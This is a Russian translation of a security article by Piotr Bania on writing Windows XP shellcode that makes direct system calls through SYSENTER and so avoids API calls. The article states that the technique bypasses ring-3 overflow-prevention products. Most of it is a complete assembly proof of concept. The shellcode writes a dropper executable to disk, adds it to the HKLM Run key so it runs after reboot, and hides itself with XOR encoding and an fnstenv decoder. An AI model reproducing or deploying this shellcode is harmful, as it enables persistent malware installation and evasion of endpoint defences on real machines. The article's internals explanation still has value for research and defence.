Автор Пётр Бания (Piotr Bania), Securityfocus.com, перевод SecurityLab.
Введение
Это статья написана в качестве демонстрации возможности написания шеллкода для операционных систем Windows без использования каких-либо API-вызовов. Как и у любого решения, у этого подхода есть свои преимущества и недостатки. В этой статье мы рассмотрим создание подобного шеллкода, а также пример его применения. Для полного усвоения материала статьи рекомендуется владеть знанием языка ассемблера для архитектуры IA-32.Рассмотренный шеллкод тестировался в операционной системе Windows XP SP1. Следует заметить, что у способа написания шеллкода есть несколько подходов в зависимости от операционной системы и уровня сервис-пака. Это будет обсуждаться по ходу статьи.
Некоторая информация перед началом
Операционные системы семейства Windows NT (NT/2000/XP/2003 и дальнейшие), разрабатывались для управления множественными подсистемами, каждая в собственной среде. К примеру, одной подсистемой NT является Win32 (для обычных приложений Windows), другим примером является POSIX (Unix) или OS/2. Что это значит? Это значит, что Windows NT может работать (при правильной настройке и дополнениях) с OS/2 и поддерживать большинство её функций. Так какие изменения были внесены в операционную систему в процессе разработки? Для поддержки всех потенциальных подсистем в Microsoft разработали единый набор API, называемых оболочками каждой подсистемы. Короче говоря, подсистемы имеют все необходимые для работы библиотеки. К примеру, Win32-приложения используют Win32 Subsystem API, которые используют/вызывают NT API. NT API, в свою очередь, не требуют для работы никаких подсистем.От вызовов NT API до системных вызовов (syscalls)
Верна ли наша теория, что шеллкод можно написать без стандартных вызовов API? Ну, для некоторых API она верна, а для некоторых нет. Существует много API, которые делают свою работу, не обращаясь за помощью к NT API. Чтобы это доказать, рассмотрим API GetCommandLineA, взятый из KERNEL32.DLL:
.text:77E7E358 ; --------------- S U B R O U T I N E ------------------------- .text:77E7E358 .text:77E7E358 .text:77E7E358 ; LPSTR GetCommandLineA(void) .text:77E7E358 public GetCommandLineA .text:77E7E358 GetCommandLineA proc near .text:77E7E358 mov eax, dword_77ED7614 .text:77E7E35D retn .text:77E7E35D GetCommandLineA endpЭта API процедура не использует никаких внешних вызовов. Единственное что она делает – возвращает указатель на командную строку программы. Теперь рассмотрим пример, относящийся к нашей теории. Далее следует часть дизассемблированного API TerminateProcess:
.text:77E616B8 ; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode) .text:77E616B8 public TerminateProcess .text:77E616B8 TerminateProcess proc near ; CODE XREF: ExitProcess+12 j .text:77E616B8 ; sub_77EC3509+DA p .text:77E616B8 .text:77E616B8 hProcess = dword ptr 4 .text:77E616B8 uExitCode = dword ptr 8 .text:77E616B8 .text:77E616B8 cmp [esp+hProcess], 0 .text:77E616BD jz short loc_77E616D7 .text:77E616BF push [esp+uExitCode] ; 1st param: Exit code .text:77E616C3 push [esp+4+hProcess] ; 2nd param: Handle of process .text:77E616C7 call ds:NtTerminateProcess ; NTDLL!NtTerminateProcessКак видно, API TerminateProcess передает аргументы, а затем выполняет NtTerminateProcess, экспортированную из NTDLL.DLL. NTDLL.DLL является NT API. Другими словами, функция, начинающаяся с «Nt» называется NT API (некоторые из них являются также ZwAPI – посмотрите, что экспортируется из NTDLL.DLL). Теперь рассмотрим NtTerminateProcess:
.text:77F5C448 public ZwTerminateProcess .text:77F5C448 ZwTerminateProcess proc near ; CODE XREF: sub_77F68F09+D1 p .text:77F5C448 ; RtlAssert2+B6 p .text:77F5C448 mov eax, 101h ; syscall number: NtTerminateProcess .text:77F5C44D mov edx, 7FFE0300h ; EDX = 7FFE0300h .text:77F5C452 call edx ; call 7FFE0300h .text:77F5C454 retn 8 .text:77F5C454 ZwTerminateProcess endpЭтот NT API помещает номер системного вызова (syscall) в EAX и вызывает память по адресу 7FFE0300h:
7FFE0300 8BD4 MOV EDX,ESP 7FFE0302 0F34 SYSENTER 7FFE0304 C3 RETNИ это раскрывает суть нашей теории – EDX теперь содержит указатель стека, EAX содержит системный вызов (syscall), который требуется выполнить. Инструкция SYSENTER выполняет быстрый вызов системной процедуры нулевого уровня, которая выполняет оставшуюся задачу.
Различия в операционных системах
В Windows 2000 (и других системах семейства NT, кроме XP и более новых) не используется никаких инструкций SYSENTER. В Windows XP инструкция SYSENTER заменила старый способ – «int 2eh». Далее следует способ системного вызова для Windows 2000: MOV EAX, SyscallNumber ; requested syscall number
LEA EDX, [ESP+4] ; EDX = params...
INT 2Eh ; throw the execution to the KM handler
RET 4*NUMBER_OF_PARAMS ; return
Теперь нам известны способы системных вызовов для Windows 2000 и XP, но в своем шеллкоде я буду использовать следующий метод: push fn ; push syscall number
pop eax ; EAX = syscall number
push eax ; this one makes no diff
call b ; put caller address on stack
b: add [esp],(offset r - offset b) ; normalize stack
mov edx, esp ; EDX = stack
db 0fh, 34h ; SYSENTER instruction
r: add esp, (param*4) ; normalize stack
SYSENTER была впервые представлена в процессорах Intel Pentium II. Автор не уверен, но можно догадаться, что SYSENTER не поддерживается процессорами Athlon. Чтобы узнать, возможна ли эта инструкция на каком-либо процессоре, используйте инструкцию CPUID вместе с проверкой флага SEP и специфическими проверками семейства/модели/наследования. Во пример такой проверки для процессоров Intel: IF (CPUID SEP bit is set)
THEN IF (Family = 6) AND (Model < 3) AND (Stepping < 3)
THEN
SYSENTER/SYSEXIT_NOT_SUPPORTED
FI;
ELSE SYSENTER/SYSEXIT_SUPPORTED
FI;
Конечно, это не единственное отличие в разных версиях Windows – номера системных вызовов также меняются в зависимости от версии, как показано в следующей таблице: Syscall symbol NtAddAtom NtAdjustPrivilegesToken NtAlertThread Windows NT SP 3 0x3 0x5 0x7 SP 4 0x3 0x5 0x7 SP 5 0x3 0x5 0x7 SP 6 0x3 0x5 0x7 Windows 2000 SP 0 0x8 0xa 0xc SP 1 0x8 0xa 0xc SP 2 0x8 0xa 0xc SP 3 0x8 0xa 0xc SP 4 0x8 0xa 0xc Windows XP SP 0 0x8 0xb 0xd SP 1 0x8 0xb 0xd SP 2 0x8 0xb 0xd Windows 2003 Server SP 0 0x8 0xc 0xe SP 1 0x8 0xc 0xeТаблицы номеров системных вызовов доступны в Интернете. Читателю рекомендуется ознакомиться с экземпляром с сайта www.metasploit.com, хотя другие экземпляры также рекомендуются.
Преимущества Syscall Shellcode
У этого способа есть ряд преимуществ:- Шеллкод не требует вызовов API, вследствие того, что ему не требуется определять адреса API. Благодаря этой особенности возможно обойти большинство «систем предотвращения переполнения буфера» уровня ring3. Такие системы безопасности не предотвращают переполнение буфера, а только перехватывают вызовы API и проверяют адрес вызывающего. В нашем случае такие проверки бесполезны.
- Так как вы посылаете запросы напрямую обработчику ядра и «перепрыгиваете» все инструкции от подсистемы Win32, скорость выполнения шеллкода возрастает в несколько раз (хотя в век современных процессоров никого не волнует скорость выполнения шеллкода).
Недостатки Syscall Shellcode
У этого способа есть и недостатки:
- Размер – главный недостаток. Так как мы «перепрыгиваем» оболочки подсистем, нам придется писать свои, что увеличивает объем шеллкода.
- Совместимость – как было сказано выше, существует различные варианты написания шеллкода, от «int 2eh» до SYSENTER, в зависимости от версии ОС. Также номера системных вызовов меняются.
Замысел
Шеллкод в конце этой статьи делает дамп файла, а затем делает запись в реестр. Записанный в реестр ключ запускает наш файл после перезагрузки системы. Вы можете спросить, почему бы не запустить файл сразу, не делая записей в реестр? Выполнение приложений Win32 посредством системных вызовов не простая задача – не думайте, что NtCreateProcess сделает это. Посмотрим, что требуется сделать API CreateProcess, чтобы выполнить приложение:
- Открыть файл (*.exe), который будет выполняться внутри процесса.
- Создать объект исполнительного процесса.
- Создать нить (thread).
- Сообщить подсистеме Win32 о новом процессе, чтобы она приготовилась.
- Начать выполнение нити.
- В контексте нового процесса и нити, завершить инициализацию адресного пространства (например, загрузить необходимые DLL) и начать выполнение программы.
The shellcode - Proof Of Concept
comment $
-----------------------------------------------
WinNT (XP) Syscall Shellcode - Proof Of Concept
-----------------------------------------------
Written by: Piotr Bania
http://pb.specialised.info
$
include my_macro.inc
include io.inc
; --- CONFIGURE HERE -----------------------------------------------------------------
; If you want to change something here, you need to update size entries written above.
FILE_PATH equ "\??\C:\b.exe",0 ; dropper
SHELLCODE_DROP equ "D:\asm\shellcodeXXX.dat" ; where to drop
; shellcode
REG_PATH equ "\Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Run",0
; ------------------------------------------------------------------------------------
KEY_ALL_ACCESS equ 0000f003fh ; const value
_S_NtCreateFile equ 000000025h ; syscall numbers for
_S_NtWriteFile equ 000000112h ; Windows XP SP1
_S_NtClose equ 000000019h
_S_NtCreateSection equ 000000032h
_S_NtCreateKey equ 000000029h
_S_NtSetValueKey equ 0000000f7h
_S_NtTerminateThread equ 000000102h
_S_NtTerminateProcess equ 000000101h
@syscall macro fn, param ; syscall implementation
local b, r ; for Windows XP
push fn
pop eax
push eax ; makes no diff
call b
b: add [esp],(offset r - offset b)
mov edx, esp
db 0fh, 34h
r: add esp, (param*4)
endm
path struc ; some useful structs
p_path dw MAX_PATH dup (?) ; converted from C headers
path ends
object_attributes struc
oa_length dd ?
oa_rootdir dd ?
oa_objectname dd ?
oa_attribz dd ?
oa_secdesc dd ?
oa_secqos dd ?
object_attributes ends
pio_status_block struc
psb_ntstatus dd ?
psb_info dd ?
pio_status_block ends
unicode_string struc
us_length dw ?
dw ?
us_pstring dd ?
unicode_string ends
call crypt_and_dump_sh ; xor and dump shellcode
sc_start proc
local u_string :unicode_string ; local variables
local fpath :path ; (stack based)
local rpath :path
local obj_a :object_attributes
local iob :pio_status_block
local fHandle :DWORD
local rHandle :DWORD
sub ebp,500 ; allocate space on stack
push FILE_PATH_ULEN ; set up unicode string
pop [u_string.us_length] ; length
push 255 ; set up unicode max string
pop [u_string.us_length+2] ; length
lea edi,[fpath] ; EDI = ptr to unicode file
push edi ; path
pop [u_string.us_pstring] ; set up the unciode entry
call a_p1 ; put file path address
a_s: db FILE_PATH ; on stack
FILE_PATH_LEN equ $ - offset a_s
FILE_PATH_ULEN equ 18h
a_p1: pop esi ; ESI = ptr to file path
push FILE_PATH_LEN ; (ascii one)
pop ecx ; ECX = FILE_PATH_LEN
xor eax,eax ; EAX = 0
a_lo: lodsb ; begin ascii to unicode
stosw ; conversion do not forget
loop a_lo ; to do sample align
lea edi,[obj_a] ; EDI = object attributes st.
lea ebx,[u_string] ; EBX = unicode string st.
push 18h ; sizeof(object attribs)
pop [edi.oa_length] ; store
push ebx ; store the object name
pop [edi.oa_objectname]
push eax ; rootdir = NULL
pop [edi.oa_rootdir]
push eax ; secdesc = NULL
pop [edi.oa_secdesc]
push eax ; secqos = NULL
pop [edi.oa_secqos]
push 40h ; attributes value = 40h
pop [edi.oa_attribz]
lea ecx,[iob] ; ECX = io status block
push eax ; ealength = null
push eax ; eabuffer = null
push 60h ; create options
push 05h ; create disposition
push eax ; share access = NULL
push 80h ; file attributes
push eax ; allocation size = NULL
push ecx ; io status block
push edi ; object attributes
push 0C0100080h ; desired access
lea esi,[fHandle]
push esi ; (out) file handle
@syscall _S_NtCreateFile, 11 ; execute syscall
lea ecx,[iob] ; ecx = io status block
push eax ; key = null
push eax ; byte offset = null
push main_exploit_s ; length of data
call a3 ; ptr to dropper body
s1: include msgbin.inc ; dopper data
main_exploit_s equ $ - offset s1
a3: push ecx ; io status block
push eax ; apc context = null
push eax ; apc routine = null
push eax ; event = null
push dword ptr [esi] ; file handle
@syscall _S_NtWriteFile, 9 ; execute the syscall
mov edx,edi ; edx = object attributes
lea edi,[rpath] ; edi = registry path
push edi ; store the pointer
pop [u_string.us_pstring] ; into unicode struct
push REG_PATH_ULEN ; store new path len
pop [u_string.us_length]
call a_p2 ; store the ascii reg path
a_s1: db REG_PATH ; pointer on stack
REG_PATH_LEN equ $ - offset a_s1
REG_PATH_ULEN equ 7eh
a_p2: pop esi ; esi ptr to ascii reg path
push REG_PATH_LEN
pop ecx ; ECX = REG_PATH_LEN
a_lo1: lodsb ; little ascii 2 unicode
stosw ; conversion
loop a_lo1
push eax ; disposition = null
push eax ; create options = null
push eax ; class = null
push eax ; title index = null
push edx ; object attributes struct
push KEY_ALL_ACCESS ; desired access
lea esi,[rHandle]
push esi ; (out) handle
@syscall _S_NtCreateKey,6
lea ebx,[fpath] ; EBX = file path
lea ecx,[fHandle] ; ECX = file handle
push eax
pop [ecx] ; nullify file handle
push FILE_PATH_ULEN - 8 ; push the unicode len
; without 8 (no '\??\')
push ebx ; file path
add [esp],8 ; without '\??'
push REG_SZ ; type
push eax ; title index = NULL
push ecx ; value name = NULL = default
push dword ptr [esi] ; key handle
@syscall _S_NtSetValueKey,6 ; set they key value
dec eax
push eax ; exit status code
push eax ; process handle
; -1 current process
@syscall _S_NtTerminateProcess,2 ; maybe you want
; TerminateThread instead?
ssc_size equ $ -offset sc_start
sc_start endp
exit:
push 0
@callx ExitProcess
crypt_and_dump_sh: ; this gonna' xor
; the shellcode and
mov edi,(offset sc_start - 1) ; add the decryptor
mov ecx,ssc_size ; finally shellcode file
; will be dumped
xor_loop:
inc edi
xor byte ptr [edi],96h
loop xor_loop
_fcreat SHELLCODE_DROP,ebx ; some of my old crazy
_fwrite ebx,sh_decryptor,sh_dec_size ; io macros
_fwrite ebx,sc_start,ssc_size
_fclose ebx
jmp exit
sh_decryptor: ; that's how the decryptor
xor ecx,ecx ; looks like
mov cx,ssc_size
fldz
sh_add: fnstenv [esp-12] ; fnstenv decoder
pop edi
add edi,sh_dec_add
sh_dec_loop:
inc edi
xor byte ptr [edi],96h
loop sh_dec_loop
sh_dec_add equ ($ - offset sh_add) + 1
sh_dec_size equ $ - offset sh_decryptor
end start
В заключение
Автор надеется что, вам понравилась эта статья. Если у вас есть какие-либо вопросы или замечания, пишите ему. Также помните, что описанная выше программа предоставлена в ознакомительных целях.Дальнейшее чтение
- "Inside the Native API" Mark Russinovich
- "MSDN" Microsoft
- Interactive Win32 syscall page Metasploit